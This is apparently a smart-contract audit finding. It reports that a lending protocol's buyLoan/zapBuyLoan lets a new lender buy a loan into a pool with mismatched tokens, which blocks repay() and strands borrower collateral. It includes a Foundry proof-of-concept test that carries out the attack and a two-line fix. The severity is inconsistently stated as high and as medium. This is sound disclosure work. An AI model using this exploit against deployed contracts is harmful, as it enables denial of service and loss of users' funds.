20,000 USDC
View results
Submission Details
Severity: high
Valid

New lenders can cause disruption to the system by modifying the original tokens when purchasing the loan.

Summary

During the Lender.buyLoan() function, the buyer has the ability to purchase the loan in a pool that has been created with fake tokens (other than loan and collateral tokens). This vulnerability could potentially allow malicious actors to manipulate the system and cause harm to the lending platform, resulting in a DOS attack.

Vulnerability Details

During a Dutch auction, a new lender can purchase a loan from an old lender by using the Lender.buyLoan() function. This adds the loan to their own pool with a new interest rate that is less than the currentAuctionRate. However, the new pool created may contain tokens other than the loan.loanToken and loan.collateralToken. This presents a risk, as a new lender may buy the loan with fake tokens that are not actually deposited into the poolId, causing an imbalance in the tokens. This can lead to issues later on when the borrower wants to repay the loan. Inside the repay() function, the pool is calculated using the new lender address, old loan, and collateral token address. If there is no such combination of poolId, the system will face a DOS attack resulting in the loss of borrower collateral as he will never be able to get back his collateral using repay().

There is no direct benefit for attacked doing this attack so likelihood of this happening is less therefore this is marked as a medium issue.

POC

function test_unfairProfitLender() public {
vm.startPrank(lender1);
// Lender set pool
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
// Borrower borrows
vm.startPrank(borrower);
Borrow memory b = Borrow({poolId: poolId, debt: 100 * 10 ** 18, collateral: 100 * 10 ** 18});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
vm.startPrank(lender1);
loanToken.transfer(address(borrower), 100 * 10 ** 18);
// start the auction
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.stopPrank();
// attacker create new fake pool and buy the loan
vm.startPrank(lender2);
loanToken2.approve(address(lender), 10000 * 10 ** 18);
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(loanToken2),
collateralToken: address(collateralToken2),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.startPrank(lender2);
vm.warp(block.timestamp + 10 hours);
lender.zapBuyLoan(p2, 0);
vm.stopPrank();
// repay the loan
vm.startPrank(borrower);
loanToken.approve(address(lender), 102 * 10 ** 18);
lender.repay(loanIds); //DOS
vm.stopPrank();
}

Impact

If a new lender creates a pool with fake tokens and purchases an original loan using those tokens, it can cause a Denial of Service (DOS) attack, which can result in the borrower losing all of their collateral.

Tools Used

manual review

Recommendations

To mitigate this issue we can add two missing checks in the buyLoan function

// validate the new pool
if (pool.loanToken != loan.loanToken) revert TokenMismatch();
if (pool.collateralToken != loan.collateralToken) {
revert TokenMismatch();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.